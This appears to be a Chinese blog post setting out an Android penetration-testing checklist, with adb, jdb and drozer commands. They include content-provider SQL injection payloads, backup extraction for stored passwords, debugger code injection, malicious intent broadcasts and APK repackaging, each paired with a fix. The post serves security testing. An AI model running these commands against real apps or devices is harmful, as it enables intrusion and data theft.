Android安全[测试标准]

安卓攻击面

物理层攻击分析:USB, 手机
无线层攻击分析:NFC, RF, BLE , Cellular, GPS, WIFI
应用层攻击分析:APP

 

手机启动模式:下载模式, fastboot模式

物理层测试

测试名称:usb--[mtp测试]
测试工具:

  • mtp的fuzzing工具:https://github.com/ollseg/usb-device-fuzzing
    • 1.按照一定标准, 利用scapy构造数据格式, 让mtp能识别;因为scapy提供了很多用来生成输入数据包的接口
    • 2.以一个Container类作为MTP, 在其中定义了两个MTP是事务

攻击步骤:

1.运行mtp_fuzzing工具,让程序崩溃报错
2.安卓设备上执行: "while true; do adb wait-for-device logcat; done" # 监控记录usb调试日志
3.根据错误信息进行调试,编写测试poc获取root权限

安全风险:可通过usb获取安卓root权限
防护建议:暂无

 

无线层

详细测试:见无线安全测试标准

 

应用层

app测试流程:

静态分析:AndroidManifest配置文件, so文件, smali文件 
动态分析:组件, 文件读写
业务分析:web业务逻辑流程,接口

静态分析:

测试名称:程序可被任意调试
测试工具:apktool, 文本编辑器, adb, jdb
攻击步骤:

1.apktool反编译apk文件,利用文本工具查看AndroidManifest.xml的配置信息
2.分析 android:debuggable 属性, 未将属性值设为 false
3.使用一下命令查看Dalvik虚拟机监听在模拟器的哪一个端口,在apk运行前后执行进行对比开启的端口
# adb jdwp
比较两次命令执行的结果,发现运行测试应用后多出来的端口,这就是我们测试应用对应的端口,我们需要用JDB去连接该端口
# adb forward tcp:54321 jdwp:多出来的端口

提示:JDWP就是 Java Debug Wire Protocol(Java调试线协议),如果一个应用可被调试,该应用的虚拟机会打开一个唯一端口以便JDB连接调试。Android的Dalvik虚拟机也支持该协议。
jdb -attach localhost:54321 # 连接以后可以进行远程代码注入

安全风险:其debug属性为true, 允许程序可以在手机上进行调试,那么攻击者就可以在该应用的进程中注入并运行自己的代码。
防护建议:设置属性值为false
参考:

jdb常见的命令:
classes # 查看类的命令
methods com.example.debug.MainActivity$1 # 查看 MainActivity$1类中的方法
stop in com.example.debug.MainActivity$1.onClick(android.view.View) # 在MainActivity$1.onClick方法中设置断点
locals # 查看局部变量
run # 执行方法
step # 执行当前行
step up # 一直执行, 直到当前方法返回到其调用方
stepi # 执行当前指令
next # 步进一行 (调用)
cont # 从断点处继续执行
print <expr> # 输出表达式的值
dump <expr> # 输出所有对象信息
eval <expr> # 对表达式求值 (与 print 相同)
set <lvalue> = <expr> # 向字段/变量/数组元素分配新值
使用"set"命令将"text"变量的值从"Try Again"改为 "Hacked" : set text = "Hacked"
locals # 输出当前堆栈帧中的所有本地变量
list [line number|method] # 输出源代码
use (或 sourcepath) [source file path] # 显示或更改源路径(目录)
threads # 查看所有线程
thread <id> # 查看单个线程
where # 查看线程堆栈
pop # 当前帧出栈, 且打印当前帧

 

测试名称:程序数据任意备份
测试工具:
apktool, 文本编辑器, adb
攻击步骤:

1.apktool反编译apk文件,利用文本工具查看AndroidManifest.xml的配置信息
2.分析 android:allowBackup 属性, 未将属性值设为 false
3.进行测试
adb backup -f allowBakup.ab -noapk com.handsgo.jiakao.android.system.MyApplication
java -jar ubpack_backup.jar unpack allowBackup.ab allowBackup.tar # https://github.com/nelenkov/android-backup-extractor
tar zxvf allowBackup.tar # 如果是登陆的地方,也许能查看到密码
adb restore allowBackup.ab # 恢复之前数据,如果之前登陆了,打开应用可直接进入

安全风险:当 allowBackup 标志值为 true 时,即可通过 adb backup 和 adb restore 来备份和恢复应用程序数据。
防护建议:设置属性值为false


测试名称:组件暴露
测试工具:
apktool, 文本编辑器, drozer
攻击步骤:

1.apktool反编译apk文件,利用文本工具查看AndroidMannifest.xml 文件 android:exported 属性
2.分析Activity,Service,Provider,Receiver属性, 未将属性值设为 false
3.Activity
(1)获取activity信息
# run app.activity.info -a com.mwr.example
Package: com.mwr.example
com.mwr.example.ui.activity.SplashActivity
Permission: null
com.mwr.example.app.ui.activity.HomeActivity
Permission: null
com.mwr.example.app.ui.activity.UserPostsActivity
Permission: null

(2)启动activity
# run app.activity.start --component com.mwr.examplecom.mwr.example.chargingpile.ui.ChargingPileActivity

4.Content Provider
(1)获取Content Provider信息
# run app.provider.info -a com.mwr.example
(2)Content Providers(数据泄露)
先获取所有可以访问的Uri:
# run scanner.provider.finduris -a com.mwr.example
获取各个Uri的数据:
# run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
查询到数据说明存在漏洞

(3)Content Providers(SQL注入)
# run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
# run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
报错则说明存在SQL注入。
列出所有表:
# run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
获取某个表(如Key)中的数据:
# run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
(4)同时检测SQL注入和目录遍历
# run scanner.provider.injection -a com.mwr.example
# run scanner.provider.traversal -a com.mwr.example

5.intent组件触发(拒绝服务、权限提升)
利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。
查看暴露的广播组件信息:
# run app.broadcast.info -a com.mwr.example # 漏洞利用,发现可可发送恶意广播包
# run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1234 --extra string message pwnd! # 尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras),可看到应用停止运行
# run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS
(1) 空action
# run app.broadcast.send --component com.mwr.examplecom.mwr.example.app.receiver.RongYunPushMessageReceiver
(2) 空extras
# run app.broadcast.send --action io.rong.push.intent.MESSAGE_ARRIVED
权限提升其实和拒绝服务很类似,只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关,所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具,可以参考IntentFuzzer,其结合了drozer以及hook技术,采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令:
(1) 获取service详情  
# run app.service.info -a com.mwr.example
不使用drozer启动service
# am startservice –n 包名/service名
(2) 权限提升
# run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

安全风险:如果包含有intent-filter 默认值为true, 没有intent-filter默认值为false;如果设置了导出权限也就是true,都可能被系统或者第三方的应用程序直接调出并使用,组件导出可能导致登录界面被绕过、信息泄露、数据库SQL注入、DOS、恶意调用等风险。

防护建议:设置属性值为false
参考:
1.也可以利用drozer的插件,直接进行fuzzing测试

module install /home/bing/Desktop/test/drozer-modules/intents/fuzzinozer.py # https://github.com/mwrlabs/drozer-modules/blob/a2231559118b2cc5ce6ec3bb23af8f41ae24cc4c/intents/fuzzinozer.py 模糊测试插件


测试名称:敏感信息泄露/安全加固
测试工具:
apktool, 文本编辑器, find命令,IDA
攻击步骤:

1.apktool反编译apk文件
2.利用IDA分析so文件,smali工具分析smali文件
3.利用find命令和正则进行敏感信息检索
如:
find /home/bing/Desktop/test/apk/* -regex ".*\.java\|.*\.xml\|.*\.txt\|.*\.log" | xargs grep -o "[a-zA-Z0-9]*\.[a-zA-Z0-9]*\.com" | awk -F ':' '{print $2}' | sort | uniq -c | sort -rn # 查找域名信息
find /home/bing/Desktop/test/apk/* -regex ".*\.java\|.*\.xml\|.*\.txt\|.*\.log" | xargs grep -o "[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]" | awk -F ':' '{print $2}' | sort | uniq -c | sort -rn # 查找IP信息也可由定义查找一些密钥或者硬编码的信息特征

安全风险:通过反编译拿到密钥硬编码信息, 可以轻易解密APP通信数据;可以获取其它敏感信息等为下一步攻击提供便利。通过分析so和smali进而导致大量应用被二次打包,植入广告、木马;同时,手机Root后,黑客可利用Hook等技术手段可对应用进行动态攻击,获取应用的核心逻辑。

防护建议:应用加固, 加固之后可以有效减少反编译、二次打包、植入广告木马等操作


测试名称:libupnp栈溢出漏洞
测试工具:
apktool, IDA
攻击步骤:

1.使用了低于1.6.18版本的的libupnp库文件。

安全风险:构造恶意数据包可造成缓冲区溢出,造成代码执行。
防护建议:升级libupnp库到1.6.18版本或以上。


测试名称: xx
测试工具:
攻击步骤:
安全风险:
防护建议:


动态分析:

测试名称: 二次打包
测试工具:
攻击步骤:
安全风险:
防护建议:

 

业务分析:

详细测试:见web安全测试标准

 

参考

1. adb基础命令

adb devices                            # 查看设备的驱动是否连接
adb kill-server
adb start-server
adb shell mkdir /dev/simgle            # 创建目录
adb install d:\1.apk                # 安装软件
adb shell pm list packages             # 列出手机中的软件
adb uninstall com.skype.raider        # 卸载应用
adb forward tcp:8700 jdwp:19509     # 转发8700端口到 在线的19509端口
adb shell netcfg
adb shell ifconfig eth0                # 查看网络信息
adb shell pm path com.example.scr 		# 列出路径
adb shell pm list permission-groups 	# 列出权限
adb shell pm list permissions

2.反编译android程序
apktool作用:主要查看res文件下xml文件、AndroidManifest.xml和图片。(注意:如果直接解压.apk文件,xml文件打开全部是乱码)
dex2jar作用:将apk反编译成Java源码(classes.dex转化成jar文件)
jd-gui作用:查看APK中classes.dex转化成出的jar文件,即源码文件

apktool d test.apk /a  # 反编译android程序
dex2jar xxx.dex        # dex2jar反编译出java源代码

3.重新打包android程序

apktool b test -o test1.apk 

apksign: 开发者用于程序签名的工具,android的各类IDE也是用这个工具在签名。使用方法如下,将signapk.jar,testkey.pk8,testkey.x509.pem放在一个目录下,写一个signapk.bat文件,如下:
signapk.bat test1.apk test1signed.apk
java -jar signapk.jar testkey.x509.pem testkey.pk8 test1.apk test1signed.apk


获取其它程序的签名:

private static String getSignture(Application paramApplication) {
    try {
        String packageName = "packageName";
        List<PackageInfo> packages = paramApplication.getPackageManager().getInstalledPackages(PackageManager.GET_SIGNATURES);
        for (PackageInfo packageInfo : packages) {
            Signature[] signs = packageInfo.signatures;
            Signature sign = signs[0];
            String signString = sign.toCharsString();
            System.out.println(signString);
            return signString;
        }
    } catch (Exception e) {
        return "";
    }
    return "";
}


APK签名校验:

#!java
public class getSign {
    public static int getSignature(PackageManager pm , String packageName){
    PackageInfo pi = null;
    int sig = 0;
    Signature[]s = null;
    try{
        pi = pm.getPackageInfo(packageName, PackageManager.GET_SIGNATURES);
        s = pi.signatures;
        sig = s[0].hashCode();//s[0]是签名证书的公钥,此处获取hashcode方便对比
    }catch(Exception e){
        handleException();
    }
    return sig;
    }
}
主程序代码参考:
#!java
pm = this.getPackageManager();
int s = getSign.getSignature(pm, "com.hik.getsinature");
if(s != ORIGNAL_SGIN_HASHCODE){//对比当前和预埋签名的hashcode是否一致
    System.exit(1);//不一致则强制程序退出
}

4.arm的二进制接口规则(abi):

1.函数参数超过4个,超过的部分会使用栈来传递
2.局部变量如果不能存储在寄存器中,则在当前栈帧中分配。特别是大约32bite的变量和指针引用的变量
3.非叶节点函数的返回地址存储在栈上
prologue代码:栈开始
epilogue代码:还原栈帧
栈空间:从虚拟内存高地址往低地址方向增长

 

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值